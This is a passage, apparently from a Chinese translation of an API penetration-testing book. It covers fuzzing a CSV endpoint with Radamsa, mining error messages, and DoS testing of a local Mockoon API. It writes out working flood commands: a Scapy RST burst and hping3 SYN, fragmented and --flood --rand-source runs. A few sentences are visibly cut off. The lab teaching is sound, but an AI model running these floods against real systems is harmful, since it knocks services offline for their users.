10b.ressa.vorscertressa.vorscertyophou.con.tressa.vorscerdonas.com, docton
107; MagdaLena;Madox; MagdaLena.Madox@yopnall.con;MagdaLena.Madox@gnatl.com;doctor
109;Charlena:Ophelia;Charlena.Ophematl.con;orkerlena;0phelta;Charlena.Ophenall.com;korkerlena;0phelta;Charlena.Ophenatt.com;workerlena;0phelta;Charlena.0ph
enaul.con; worker Lena, 0phetta;Char Lena. DphenatL.con;worker Lena; OpheLta;Char Lena.OphenatL.con;worker Lena;ophe Lia; char Lena.OphemaL. Con; worker Lena; opheLLa; chat
lena.Ophenai1.com;workerlena;0phelia;CharLena.Ophemail.con;orkerlena;0phelia;Charlena.0phemail.con;korkerlena;0phelia;Charlena.Ophenatl.com;workerlena;0phe
Lta;Charlena.ophenail.con;orkerlena;ophelta;Charlena.Ophenatl.com;workerlena;ophelia;Charlena.Ophenail.com;workerlena;0phelio;Charlena.Opherail.com;workert
ena;0phelta;Charlena.Ophenatl.com;worker
模糊化的554.csv文件看起来类似:
1d;ftrstname; lastnane;ematl/enat12;professton
100; Eadte; Angelts;Eadte.Angel1s@yopnatl.com;Eadte.Angelts@gmatl.con;doctor 101;Chastity;Harday;Chastity.Harday@yopmatl.con;Chasttty.Harday@gnatt.com;ftreftghter
102;Angela;L1a;Angela.Lta@yopmatl.com;Angela.Lta@gnatl.com;developer
103;Paola;Audly;Paola.Audly@yopnatl.com;Paola.Audly@gnatl.com;ftrefighter
104;Audrie;Yorick;Audrie.Yorick@yopnatl.com;Audrie.Yorick@gmail.con;doctor
105;Deedee;Keelta;Deedee.Keeltaßyopnatl.com;Deedee-Keelta@gmail.com;doctor
106;Magdalena;Madox;Magdalena.Madox@yopmatl.con;Magdalena.Madox@gnatl.com; doctor
108:pertoroan:Periorgan.voonal.com:pertorgansonat,con:frertanter
请注意,这两个输入文件都有损坏的 CSV 结构。这可能导致目标 API 端点上意外的处理逻辑。如果我们提交 5000 个请求而不是 1000 次尝试,会发生什么呢?也许这会导致目标发生一些不好的事情。删除 Radamsa 之前创建的所有模糊化的 CSV 文件,并重复相同的radamsa命令,将1000替换为5000。部分输出如下所示:
Damaging file: 1006.csv
{
"error": {
"code": 500,
"message": "Error processing CSV file: 'utf-8' codec can't decode bute oxff in
position 802: Invalld start bvte"
}
}
Damaging Tile: 102.csv
{
"error": {
"code": 500,
"message": "Error processing CSV file: 'utf-8' codec can't decode byte Oxf4 in
position 794: invalid continuation bvte"
}
}
在我的案例中,这一新文件集导致了 41 个错误,这占了命中率的不到 1%。好吧,事情并没有按预期进行,但这并不意味着我们做错了。正如之前提到的,处理模糊测试时必须要有耐心。你可以结合不同的技术和工具来获得不同的结果,并尝试对目标进行测试。你也可以生成更多行和列的文件。迟早,你最终会取得成功,并在端点上造成失败。
在下一节中,我们将了解基于 API 端点在回答请求时抛出的错误消息,我们可以发现什么。
利用错误响应进行信息披露
很棒!你已经学会了如何识别错误代码和消息,并且在一个通用的 API 端点上进行了实践。现在是时候学习如何利用你从这些请求中获得的反馈信息了。它们可能会暴露出很多信息。有时,我们甚至不需要发送恶意负载就能使其失败。系统管理员和开发者可能会根据配置更改或新应用程序版本的发布来调整设置或参数,这些新场景可能会导致 API 停止工作。
在接下来的章节中,你会看到几个通用的错误信息图例,这些图例展示了真实 web 应用程序的错误消息。请注意,在至少一个图例中,应用程序简单地泄露了 .NET Framework 和 ASP.NET 的版本信息。这是很尴尬的。在这种特定情况下,可以通过更改 web.config 文件来抑制该特定行。同样,缺少 Web 应用防火墙 (WAF) 可能会导致更多暴露的错误信息。WAF 可以过滤这些信息,或提供更简洁的错误消息。图 6.4 显示了一个 .NET 错误:

图 6.4 – 来自 .NET web 应用的错误信息(来源:Code Aperture)
图 6.5 显示了一个默认的 Microsoft IIS 错误页面:

图 6.5 – Microsoft IIS 错误页面(来源:Microsoft)
在本章开始时,我们对一个使用 Flask 的 API 端点进行了测试,而 Flask 又依赖于 Werkzeug。在一次简单的测试中,我们收到了一个错误消息,暴露了这些信息。接着我们可以寻找涉及这些组件的漏洞,并编写特定的负载来利用它们。非常直接。
在分析 API 端点抛出的错误消息时,有一些要点需要注意:
-
/admin/users可能返回 404 状态码,附带原因短语,如No route found for /admin/users。这表明 API 中可能存在admin目录或用户管理功能。你可以使用 FFUF 递归地对/下的所有端点进行模糊测试。 -
java.lang.RuntimeException: Unsupported file format at com.example.api.UploadController.processFile(UploadController.java:123)。这暴露了 Java 的使用,并揭示了处理文件的函数在应用程序代码中的位置。 -
1003由于未经授权尝试更新用户角色。此代码可能暗示了不同权限级别的存在,或特定功能被映射到这些代码。 -
自动化工具:有几个工具可以帮助解析和分析错误响应。我们尝试过一些工具,比如 OWASP ZAP 和 Burp Suite。在模糊测试方面,我们使用 Radamsa 来变异 CSV 文件,并编写了一个自定义脚本,利用这些文件来测试 API 端点。
使用 Burp Suite 的 Intruder 工具,您可以在 API 请求中对参数值进行模糊测试,并监视返回的错误消息。通过分析不同模糊输入导致的错误响应中的模式或特定细节,他们可能会识别信息泄露漏洞。我们也对 JWT 进行了这样的操作。
-
结合技术:当与其他渗透测试技术结合使用时,利用错误响应的效果通常会得到增强。正如之前演示的,模糊测试技术可以用来生成意外的输入,并触发信息丰富的错误消息。此外,手动分析应用程序行为和代码(如果您可以访问)可以为解释错误响应中披露的信息提供有价值的背景。
作为一般的最佳实践建议,API 开发人员可以采取几个步骤来减轻通过错误响应泄露信息的风险。具有最少技术细节的通用错误消息是一个良好的第一步。此外,正确配置日志记录和错误处理机制可以防止敏感信息包含在传递给外部用户的错误响应中。例如,避免将编程语言异常作为最后手段。当这样做时,作为开发人员,您完全失去了控制。相反,尽可能映射尽可能多的异常,作为最后手段,发送一个通用错误消息。
谈到日志时,一定要保护对其的访问。不要仅仅依赖于操作系统的安全机制,比如文件系统权限。一个好的方法是至少在其他地方备份一份,比如次要数据中心或者甚至公共云提供商,并且使用强大的算法对其进行加密,应用一个合理的密钥长度。考虑至少使用 256 位密钥。
摘要
在这个实用的章节中,我们看到当处理请求时 API 端点抛出的错误消息不仅可以揭示关于其环境和配置的信息(数据泄露),还可以造成更多的损害,比如 DoS 攻击(当端点在接收到激进负载后无法自我修复时)。我们亲自动手进行了变异和模糊测试,并利用它们来轰炸一个 API 端点,使用奇怪的数据。
在下一章中,我们将深入研究 DoS 攻击和速率限制测试。一些 API 受到控制机制的保护,减少客户端一次设置的请求数量。然而,我们可以利用一些技术来增加成功攻击的机会。
进一步阅读
要了解本章涵盖的主题更多内容,请查看以下资源:
-
实现 Flask “未找到”错误消息的 Werkzeug 代码:
github.com/pallets/werkzeug/blob/main/src/werkzeug/exceptions.py#L345C1-L348C6 -
关于 WSGI 的更多信息:
wsgi.readthedocs.io/en/latest/ -
American Fuzzy Lop,一个广泛使用的模糊测试工具,适用于各种类型的应用程序:
github.com/google/AFL -
什么是 LLVM?:
llvm.org/ -
QEMU:
www.qemu.org/ -
Sulley – 模糊测试框架:
github.com/OpenRCE/sulley -
Boofuzz – Sulley 的替代品:
github.com/jtpereyda/boofuzz -
Radamsa – 一个非常好的命令行模糊测试工具:
gitlab.com/akihe/radamsa -
一个免费的 Burp 扩展,用于 Radamsa:
github.com/ikkisoft/bradamsa -
FFUF – 用 Golang 编写的快速 Web 模糊测试工具:
github.com/ffuf/ffuf
第七章:拒绝服务与限速测试
从基础的 API 攻击开始,现在是时候深入了解 拒绝服务 (DoS) 和 分布式拒绝服务 (DDoS) 威胁,并回答一些问题,例如:它们为何如此重要?它们对 API 端点的影响有多大?我们能利用什么来成功管理这些攻击的触发?你将了解到,DoS,尤其是其分布式形式,是一个全球性问题,几乎影响所有公开暴露的端点或应用程序。此外,尽管比较少见,但仅在私有环境中可访问的软件也并非免疫于此类攻击。内部威胁虽然较少,但也存在,并且可能会破坏内部应用。
限速是防御 DoS 攻击的关键机制,旨在控制 API 在特定时间内可以处理来自某个用户或 IP 地址的流量量。它可以防止用户在短时间内发送过多请求,这通常是攻击的指示。适当的限速可以在攻击期间帮助保持服务可用性,只允许一定数量的请求。
在进行渗透测试时,识别 API 的限速机制并测试其有效性非常重要。这包括评估为用户设置的阈值,并尝试绕过它们以检查这些控制的强度。此阶段的测试还可能包括检查 API 对不同攻击向量的响应,这些攻击向量可能导致服务中断。
本章将涵盖以下主要内容:
-
测试 DoS 漏洞
-
识别限速机制
-
绕过限速
技术要求
与前几章一样,我们将利用之前章节中提到的相同环境,例如 Ubuntu 发行版。在相应的部分中还将提到一些新的相关工具。
测试 DoS 漏洞
有一些值得提及的近期事件,这些事件能够展示这类攻击的威力和影响力。它们按流量规模列出,相关参考文献可以在本章最后的进一步阅读部分找到:
-
针对 Google Cloud 的攻击在 2017 年达到了 2.54 Tbps,但直到三年后的 2020 年才向公众披露。攻击通过伪造的数据包发送到 Web 服务器,伪装成 Google 服务器发送的请求。所有回应这些数据包的响应都被发送到 Google,从而导致了这一流量。
-
2020 年 2 月,一家 AWS 客户的基础设施成为 2.3 Tbps DDoS 攻击的目标。专门的服务 AWS Shield 成功吸收了这一“海啸”,从而保护了客户的资产。犯罪分子通过利用 无连接目录访问协议 (CLDAP) 向公开可用的 轻量目录访问协议 (LDAP) 服务器发送了大量数据包。
-
GitHub 排在我们的列表第三位。在 2018 年,利用 Memcached(一个流行的内存数据库)中的一个著名漏洞,攻击者可以滥用互联网上的公共 Memcached 服务器。根本原因类似于曾影响 Google 的事件。通过伪装 GitHub 的 IP 地址,罪犯发送了经过这些服务器放大的数据包,并将其返回到 GitHub。
我们将使用老朋友 Ubuntu 来构建本章的实验环境。但是,我们将安装一些额外的工具,因为我们需要发送合理数量的流量,并调整一些选项,以模拟从不同来源执行的操作。为此,我们将使用 Mockoon,这是一个开源解决方案,用于创建模拟的 API。自那时以来,我们一直在使用 crAPI 和我们自己的 Python 应用程序。现在是时候用一些其他软件进行测试了。
了解 Mockoon
安装过程非常简单,可以通过使用 Snap 完成(至少在 Linux 上是如此)。该产品也适用于 Windows 和 macOS。请注意,至少在本书写作时,尚未提供 ARM64 版本。所以,不幸的是,你必须拥有一个 Intel 系统才能使用它。
启动应用程序。第一次加载可能需要一些时间。以下截图展示了开机画面。我建议你浏览一下初始导览。它不大且相当直观。值得一提的是,Mockoon 将端点称为 路由。这是在文献中和一些其他产品中常见的命名方式。

图 7.1 – Mockoon 的启动画面
你会发现,Mockoon 在你完成初步浏览或直接取消时,已经启动了一个预配置的 API(称为 DemoAPI)和一些路由。你需要点击 播放 图标按钮,才能让 API 开始监听请求。在 Settings 标签页中,你可以选择将要使用的 IP 地址、端口和可选的前缀。还可以启用 TLS。该产品附带了一个自签名证书,但你也可以选择提供自己的证书文件、CA 证书文件和相关的密钥。当启用此选项时,一个锁形图标会显示在 API 名称下方,如果 API 已经在运行,你必须重启它。只需点击黄色圆圈箭头,或按照以下菜单顺序操作:Run | Start | Stop | Reload current environment:

图 7.2 – 启用 TLS 后重启 Mockoon API
花些时间浏览界面。所有路由(端点)都列在 Routes 标签页下。DemoAPI 总共有七个路由。作为 创建、读取、更新和删除(CRUD)的响应数据是一个使用某种语言类型的脚本。它生成 50 个随机的用户名及其 ID:
[
{{#repeat 50}}
{
"id": "{{faker 'string.uuid'}}",
"username": "{{faker 'internet.userName'}}"
}
{{/repeat}}
]
与 Mockoon 的端点进行交互
CRUD 路由正在监听 /users。观察执行此操作时发生的情况:
$ curl http://localhost:3000/users # use -k if you are testing with TLS.
[
{
"id": "b6790a61-295b-46d4-9739-bbea9ad30e4c",
"username": "Annamarie.Hermiston39"
},
{
"id": "8abcdac0-0ba4-40f0-95af-fbacff6b6d8f",
"username": "Stephanie6"
},
{
"id":"507f64b1-3ee8-4897-aa0b-514c4dc486fd",
"username": "Maybell_Stark1"
},
...output omitted for brevity and optimized for readability...
]
可接受的请求头可以在同名标签页中找到。默认情况下,只有常见的Content-Type: application/json。日志可以在同名标签页中访问。让我们先用这个 Mockoon 提供的虚拟 API 进行第一次测试。为此,我们将使用另一个著名的工具:ab。这是ApacheBench的缩写,它是开发人员和系统管理员在进行应用程序负载测试时常用的工具。它的安装也很简单。
注意
从现在起,我会交替使用endpoint和route这两个术语。请记住,在这个上下文中它们是相同的意思。
我们将目标定在/users路由,看看当接收到合理数量的请求时,我们的 API 表现如何。让我们从 100 个请求(-n命令选项)开始,其中 10 个(-c命令选项)是并发请求。输入以下命令并观察结果:
$ ab -n 100 -c 10 http://localhost:3000/resource-intensive-endpoint/
This is ApacheBench, Version 2.3 <$Revision: 1879490 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/
Benchmarking localhost (be patient).....done
Server Software:
Server Hostname: localhost
Server Port: 3000
Document Path: /users
Document Length: 0 bytes
Concurrency Level: 10
Time taken for tests: 0.201 seconds
Complete requests: 100
Failed requests: 0
Total transferred: 0 bytes
HTML transferred: 0 bytes
Requests per second: 497.08 [#/sec] (mean)
Time per request: 20.117 [ms] (mean)
Time per request: 2.012 [ms] (mean, across all concurrent requests)
Transfer rate: 0.00 [Kbytes/sec] received
Connection Times (ms)
min mean[+/-sd] median max
Connect: 0 0 0.3 0 2
Processing: 1 2 3.6 1 23
Waiting: 0 0 0.0 0 0
Total: 1 2 3.6 1 23
Percentage of the requests served within a certain time (ms)
50% 1
66% 1
75% 1
80% 1
90% 4
95% 10
98% 18
99% 23
100% 23 (longest request)
我们首先意识到ab有点啰嗦。这是可以预料的,因为它的主要目的是对你的应用程序进行负载测试,对吧?尽管如此,你可以通过-q和-v选项来控制它的输出。主页面解释了所有的选项开关。Mockoon 似乎按预期表现(在我的常规笔记本电脑上运行,并且在 Ubuntu 虚拟机上)。特别注意前面输出的最后一部分。它显示了特定时间段内服务请求的百分位数。它应当这样理解:
-
50%的请求在 1 毫秒或更短时间内被服务。
-
高达 95%的请求在 10 毫秒或更短时间内被服务。
-
最长的请求花费了 23 毫秒才被服务。
所有请求都被记录,并且没有任何请求经历大的延迟。不过,值得注意的是,Mockoon 在响应这些请求时并没有提供任何数据(甚至没有 HTML)。从前面Document Length、Total transferred和HTML transferred行中可以看出这一点。这可能揭示了 API 端的配置错误、意外的错误,或是 Mockoon 在回答ab时跳过了某些响应。由于 Mockoon 只是一个假/mock API 服务器,这种情况有时会发生。
现在,让我们看看当请求数量乘以 10 时,我们亲爱的 API 会有什么表现。一些输出故意被省略,以简化展示:
$ ab -n 1000 -c 100 http://localhost:3000/users
Document Length: 3629 bytes
Time taken for tests: 2.214 seconds
Complete requests: 1000
Total transferred: 3814000 bytes
HTML transferred: 3629000 bytes
Percentage of the requests served within a certain time (ms)
50% 207
66% 241
75% 259
80% 283
90% 305
95% 323
98% 355
99% 360
100% 371 (longest request)
哈!现在,我们看到数据开始出现了。这才是我说的意思,伙计!抛开开场白不谈,观察到与上一次测试相比,响应时间显著增加。如果你重复这个命令,但通过 HTTPS,你会收到稍微长一点的响应时间。我做了最后一次测试,10,000 个请求,其中 1,000 个是并发请求,而这次 Mockoon 并没有完全响应:
Completed 9000 requests
apr_socket_recv: Connection reset by peer (104)
Total of 9585 requests completed
这与虚拟机的内存占用无关。我全程监视着它,我的系统有大约 2.5 GB 的空闲 RAM。我甚至重新启动了 Mockoon,以便为它提供一个干净的内存空间,但这仍然不足以解决问题。此次只记录了 50 个请求(这是 API 默认显示的最大日志条目数)。
利用 Scapy 攻击 Mockoon
我们有一段时间没使用 Wireshark 了,对吧?接下来的测试,如果我们能运行 Wireshark,将会更加有启发性。如果你系统中还没有它,赶紧安装并加载它。把它设置为监听回环适配器。你可能需要以 root 用户身份执行它来完成此操作。接下来的测试中,我们将使用 pip 并运行以下小段代码。观察它的输出:
from scapy.all import *
send(IP(dst="localhost")/TCP(dport=3000, flags="R"), count=5000)
这段代码将 5,000 个数据包发送到本地主机的 TCP 端口 3000,3000 是 Mockoon 监听请求的地方。观察它们不是 HTTP 数据包,而只是普通的 传输控制协议(TCP)数据包。这里的关键不在于观察 API 本身是否按预期行为表现,而是在于托管 API 的基础设施是否能应对这种不寻常的活动。如果你对 TCP/IP 网络了解不多,这类带有标志的数据包用于向接收方标明连接应终止。让我们看看 Mockoon 如何处理这种奇怪的通信。你将收到如下内容:
............................................................................................................................................................................................................................................
Sent 5000 packets.
Wireshark 捕获到了什么?切换到 Wireshark,你会看到许多红色的行对应着数据包(图 7.3)。

图 7.3 – Wireshark 捕获带有 RST 标志的 Scapy 数据包
代码没有返回任何错误,这意味着 Mockoon 很可能接收到了所有数据包(并可能忽略了它们)。如果你不确定输出中打印的点的数量,只需在命令行上运行该脚本,并附加 | wc -c。
当 Web 服务器或 API 网关没有配置来预见这种奇怪行为时,它可能会直接崩溃,甚至泄露一些内部数据,例如基础设施的详细信息。在我们的案例中,Mockoon 并没有抛出任何错误信息,也没有崩溃。也许它利用了一些支持这种行为的后端服务器。或者,可能是因为数据包是按顺序一个接一个地发送的,才没有出现问题。
到目前为止,我们一直从相同的源 IP 地址进行测试。这对于简单的测试很有帮助,但不足以检查端点如何同时处理来自多个地址的连接。这正是 DDoS 攻击的核心。API 端点及其环境可能很难区分合法流量和纯粹的攻击。
使用 hping3 进行 Mockoon 测试 – 初步测试
为了帮助我们完成这个任务,让我们调用另一个工具:hping3。在我们的实验环境中,我们可以使用 apt 来安装它。你可以利用 hping3 测试你的路由的方式至少有五种。首先,我们将发送几个 同步(SYN)数据包,假装我们正在尝试建立 TCP 连接,看看会发生什么:
$ hping3 -S -p 3000 -c 3 localhost
HPING localhost (lo 127.0.0.1): S set, 40 headers + 0 data bytes
len=44 ip=127.0.0.1 ttl=64 DF id=0 sport=3000 flags=SA seq=0 win=65495 rtt=7.1 ms
len=44 ip=127.0.0.1 ttl=64 DF id=0 sport=3000 flags=SA seq=1 win=65495 rtt=8.6 ms
len=44 ip=127.0.0.1 ttl=64 DF id=0 sport=3000 flags=SA seq=2 win=65495 rtt=6.1 ms
--- localhost hping statistic ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 0.4/7.7/16.1 ms
输出看起来像我们习惯的 ping 命令。重点正是如此。尽管如此,这个工具增强了其父工具所提供的可能性。观察 Wireshark 是如何记录它的:

图 7.4 – hping3 发送 SYN 数据包并重置连接
hping3 发送每个 SYN 数据包,并接收相应的 Nmap,命令如下:
$ hping3 --scan 3000 -c 3 localhost
Scanning localhost (127.0.0.1), port 3000
1 ports to scan, use -V to see all the replies
+----+-----------+---------+---+-----+-----+-----+
|port| serv name | flags |ttl| id | win | len |
+----+-----------+---------+---+-----+-----+-----+
All replies received. Done.
Not responding ports: (3000 )
你可以通过逗号或破折号(用于范围)分隔多个端口。我们发送了三个数据包,但 Mockoon 并未回应。通过在 Wireshark 中查看,我们可以看到数据包确实到达了 Mockoon,但没有收到任何回复。Mockoon 可能正在忽略它们,因为它们只是探测数据包,而不是完整的 HTTP/HTTPS 数据包,也没有携带预期的头部或负载:

图 7.5 – 向 Mockoon 发送数据包以扫描端口
使用 hping3 发送随机数据
让我们继续前进。现在,我们将发送一些完全随机且无意义的数据。我们以前在其他场景中做过这个。此次,我们将使用 hping3 来实现。生成一个 1 MB 的文件,然后使用以下命令将其发送给 Mockoon。观察结果:
$ dd if=/dev/urandom of=random.bin bs=1M count=1
$ sudo hping3 -p 3000 -c 3 --file random.bin -d 32768 localhost
len=40 ip=127.0.0.1 ttl=64 DF id=0 sport=3000 flags=RA seq=0 win=0 rtt=1.9 ms
len=40 ip=127.0.0.1 ttl=64 DF id=0 sport=3000 flags=RA seq=1 win=0 rtt=11.1 ms
len=40 ip=127.0.0.1 ttl=64 DF id=0 sport=3000 flags=RA seq=2 win=0 rtt=9.4 ms
--- localhost hping statistic ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 1.9/7.4/11.1 ms
总结一下,我们告诉 hping3 执行以下操作:
-
向 TCP
3000端口发送数据包(-p 3000) -
总共发送 3 个数据包(
-c 3) -
使用刚创建的文件作为数据负载(
--file random.bin) -
将数据包大小定义为 32768 字节(
-d 32768) -
使用
localhost作为目标地址
如果你还在运行 Wireshark,你将捕获到类似以下的内容:

图 7.6 – Wireshark 捕获的数据包,当 hping3 向 Mockoon 发送文件时
注意到所有连接尝试都被重置。这是因为没有之前建立的连接能够维持文件传输。TCP/IP 栈简单地丢弃了所有尝试,发送了带有 RST 标志的数据包。我不确定你是否也意识到,hping3 为每个发送的数据包使用了不同的源端口。此外,这次需要使用 sudo。这是因为该工具需要进行系统调用,访问内核的网络驱动,而这只允许 root 操作员或经过特权提升后才能执行,我们可以通过 sudo 获得这些权限。
使用 hping3 发送分片数据包
在下一个测试中,我们将向目标发送分片数据包。由于与网络基础设施和目标服务的交互方式,分片数据包可能会干扰 API 端点。当一个大数据包通过互联网发送时,它通常会超过 -f 开关的限制:
$ sudo hping3 -f -p 3000 -c 3 -d 32768 localhost
HPING localhost (lo 127.0.0.1): NO FLAGS are set, 40 headers + 32768 data bytes
len=40 ip=127.0.0.1 ttl=64 DF id=0 sport=3000 flags=RA seq=0 win=0 rtt=11.1 ms
len=40 ip=127.0.0.1 ttl=64 DF id=0 sport=3000 flags=RA seq=1 win=0 rtt=10.5 ms
len=40 ip=127.0.0.1 ttl=64 DF id=0 sport=3000 flags=RA seq=2 win=0 rtt=11.3 ms
--- localhost hping statistic ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 11.1/12.2/14.2 ms
数据包分片是网络管理员关心的问题。这种攻击可能会对目标造成如下问题:
-
资源耗尽,可能由于 CPU 使用率增加或内存开销
-
重新组装失败,可能由于重新组装超时或重叠的分片
数据包捕获演示了通过网络流动的分片。你会看到比仅仅三个数据包更多的包,因为我们强制将其分片:

图 7.7 – 发送到 Mockoon 的分片数据包
使用 hping3 数据包进行洪水攻击 Mockoon
到目前为止,我们通过让 hping3 向我们的目标 API 服务器发送少量数据包。现在,我们将进一步操作。我们将发送更多数据包,尝试洪水攻击目标(使用 --flood 开关),并验证 Mockoon 是否足够智能来处理这些数据包。我们还会随机化源 IP 地址,以模拟真实的 DDoS 攻击。以下命令完成此任务:
$ sudo hping3 --flood --rand-source -p 3000 localhost
HPING localhost (lo 127.0.0.1): NO FLAGS are set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
--- localhost hping statistic ---
12356365 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
你可以看到我没有指定数据包的数量。因此,hping3 将会不停地向目标发送数据包。此外,你还可以看到没有数据包被接收,表示存在 100% 丢包。这导致了系统中的两个有趣现象:
- 首先,空闲内存在几秒钟内急剧减少,并且即使停止
hping3后也没有恢复:

图 7.8 – 系统内存因 DDoS 攻击处理而迅速减少
- 其次,可能由于缺乏空闲内存,Wireshark 经常停止响应,要求我等待或停止它:

图 7.9 – Wireshark 在捕获网络数据包时无法使用
当 Wireshark 最终决定至少再工作一段时间时,我可以截图给你展示 hping3 发送的数据包的结构:

图 7.10 – hping3 洪水攻击中的数据包
你可以轻松验证,这些是非常小的数据包(大小为 54 字节),来自几乎无限的不同 IP 地址源。这成功地耗尽了系统的内存,导致不仅 Mockoon 停止工作,其他所有应用程序也停止了。我甚至无法再使用 curl 向 API 发送简单请求。这是因为操作系统接收到了比它能在合理时间内处理的更多数据包,并且所有缓冲区同时在内存中打开,几乎完全占用了内存。只有通过完全重启,系统才恢复到了之前的状态。
让攻击更有趣——“快速”开关
这时,你可能会问我这个问题:有没有办法将其转变为更糟糕的情况?猜猜看?答案是一个大大的是! hping3 有一个 --fast 开关,它可以每秒发送大约 10 个数据包,彻底填满普通系统通常能够处理接收数据包的所有可能的数据包缓冲区。输入以下命令并观察结果。你的系统可能会再次挂掉,就像我的系统发生的那样。解释和之前的测试非常相似:
$ sudo hping3 --flood --syn --fast -p 3000 localhost
HPING localhost (lo 127.0.0.1): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
--- localhost hping statistic ---
1113320 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
--syn 开关告诉 hping3 发送带有 SYN 标志的 TCP 数据包。这次我没有让它挂掉我的系统。也没有选择随机化源 IP 地址。即使有这些限制,Mockoon 仍然占据了使用更多内存的进程的顶部:

图 7.11 – 显示使用更多内存的进程的 top 命令输出
该包捕获也很有趣,展示了 Mockoon 尝试在数据包到达时重置它们,虽然这是一个高尚的任务,但并不足以应对:

图 7.12 – 使用 hping3 的 --fast 开关的包捕获
尽管这些流量并非来自不同的源 IP 地址,但它仍然是巨大的,确实可以对未做好准备的 API 端点及其后端造成一些损害,尤其是在它们没有防范 DoS 攻击时。这完全取决于系统处理如此多数据包句柄的能力和智慧。接下来,我们将探讨如何检测速率限制控制。速率限制对于抵御简单甚至有时复杂的攻击非常有用,就像我们刚刚学习的那种攻击。
识别速率限制机制
你刚刚学到了一些触发 DoS 攻击 API 端点的方法。我们甚至发送了一波微不足道但强大的 DDoS 数据包,使得我们的目标无法有效地处理这些数据包。防止此类威胁的第一种方法是对流量进行速率限制,也称为节流。更多信息,请参阅进一步阅读部分中的链接。
识别 API 中的速率限制机制是安全性和可用性评估中的关键部分。速率限制旨在通过限制用户在每个时间段内可以发起的请求数量,防止滥用。它有助于缓解各种攻击,如暴力破解或分布式拒绝服务(DDoS),通过限制操作频率来实现。这是通过应用一项策略来实现的,该策略确保服务器不会因同时收到过多请求而超载,这可能会影响其他用户的服务质量或导致服务器崩溃。速率限制可以基于多个因素,包括 IP 地址、用户账户、API 令牌或会话。它通常涉及设置允许的最大请求数量和这些请求的时间窗口。例如,一个 API 可能允许每个用户每分钟最多发起 100 个请求。该机制有助于保持服务质量、防止滥用,并更有效地管理服务器资源。
有多种实现速率限制的方法,例如固定窗口计数器、滚动窗口日志和漏桶算法,每种方法都有其优点和应用场景。固定窗口计数器在固定的时间间隔内重置计数,可能会在间隔边缘允许流量突发。滚动窗口在一个持续移动的窗口中跟踪计数,可以防止突发流量,但需要更复杂的跟踪机制。漏桶算法以稳定的速度允许请求,从而平滑流量的激增。选择合适的算法取决于你所保护的 API 的具体要求和行为。让我们进一步了解每种方法的细节。
固定窗口计数器
这是速率限制请求中的一个重要概念。它们只是记录在特定时间段内到达的请求数量的计数器。通过这个窗口,API 可以随时检查当前的请求数量,并根据阈值相应地减少或增加请求数量。如果流量被评估为合法,并且 API 需要处理更多的请求(例如,在新产品发布后),则会提高阈值。另一方面,当没有理由维持特定量的流量时,可以对其进行限制。
在渗透测试过程中,你可以利用固定窗口计数器为自己谋取优势。通过在定义的窗口时间内战略性地发送突发请求,你可以尝试识别速率限制本身。超出限制后的服务器响应观察至关重要。注意响应时间的变化、特定错误代码(如 429 请求过多)的出现,或是显示速率限制信息的头部。这些信息有助于渗透测试人员了解 API 对请求量的容忍度以及超出限制的后果。
不过,这种方式也有局限性。窗口计数器并不完全防止所谓的突发流量攻击。在这种攻击中,你在窗口时间即将刷新之前(前一个窗口结束,下一窗口开始)发送一波持续的请求。这可以利用计数器达到极限与窗口重置之间的空隙,从而暂时绕过速率限制。作为渗透测试人员,识别一个仅依赖固定窗口计数器的 API 可以揭示出在实际攻击场景中可能被利用的潜在漏洞。
滚动窗口日志
固定窗口计数器提供了基本的速率限制功能,但渗透测试人员常常遇到使用更复杂方法的 API:滚动窗口日志。与固定计数器不同,滚动窗口日志维护了与传入请求相关的时间戳的时间顺序记录。这个记录会不断更新,随着新请求的到来,旧的时间戳会被移出窗口。API 通过分析这个动态窗口内的请求数量来计算速率限制。
相比于固定窗口计数器,这种动态特性提供了若干优势。突发流量不会像在固定窗口计数器中那样轻易成功。窗口频繁调整,这减少了攻击者利用窗口重置定时器的机会。此外,滚动窗口日志能更真实地呈现实时请求的模式。它们可以考虑到正常流量的突然激增,这些流量可能会被固定窗口计数器错误地标记。这使得速率限制能够更精细化,避免在高活动时期不必要地阻止合法用户。
然而,这也给渗透测试人员带来了不同的挑战。与固定计数器相比,识别具体的窗口大小和速率限制可能更加困难。你可能需要采用更复杂的技术,例如发送间隔变化的请求来分析服务器响应,并推断滚动窗口的底层逻辑。此外,某些滚动窗口日志的实现可能不会通过错误代码或头部提供明确的反馈,这使得精确确定速率限制设置变得稍微有些困难。
漏桶
这个概念在 API 路由的速率限制中算是独特的。想象一个桶,底部有一个小孔,水持续以受控的量从孔中漏出。到达的请求可以比作水被倒入这个桶中。特定时间内能够处理的最大请求数对应于桶的容量(就像实际的桶有升或加仑的容量)。如果桶开始溢出水(有过多的请求到达端点),随后到达的请求会因没有足够的容量而被拒绝,只有当桶有足够空间容纳新请求时,才会接受新的请求。
这个类比转化为 API 的动态速率限制机制。漏桶的容量表示在一定时间内允许的最大请求量,而泄漏速率定义了请求被处理并视为允许的速度。这种方法为渗透测试 API 提供了多个优势。漏桶比固定窗口计数器更适合处理突发请求。即使有大量请求涌入,漏桶也能在一定程度上容纳这些请求,防止无谓地阻止合法用户。此外,正如 服务质量 (QoS) 机制一样,漏桶可以优先处理某些类型的包,即使没有足够的容量容纳更多请求。通过为不同类型的请求调整泄漏速率,API 可以确保在高流量期间处理关键请求,从而提升整体系统的响应能力。
然而,对于渗透测试人员来说,漏桶模型提出了不同的测试挑战。与固定窗口或滚动窗口日志侧重于请求计数不同,漏桶模型涉及分析容量和泄漏速率。渗透测试人员可能需要发送一系列具有不同时间间隔的请求,并观察服务器如何响应。通过监控响应时间的变化或出现类似 429 Too Many Requests 的错误代码,测试人员可以尝试推测漏桶的容量和泄漏速率。这些信息能够揭示漏桶实现中的潜在弱点。
在下一节中,我们将实现一个速率限制机制,以保护我们用 Mockoon 创建的 API,并检查是否能够检测到其存在。Mockoon 本身已经提供了一些保护控制,你可以进行尝试,但我们也可以利用一些外部工具来实现这一目的,这将是我们的做法。
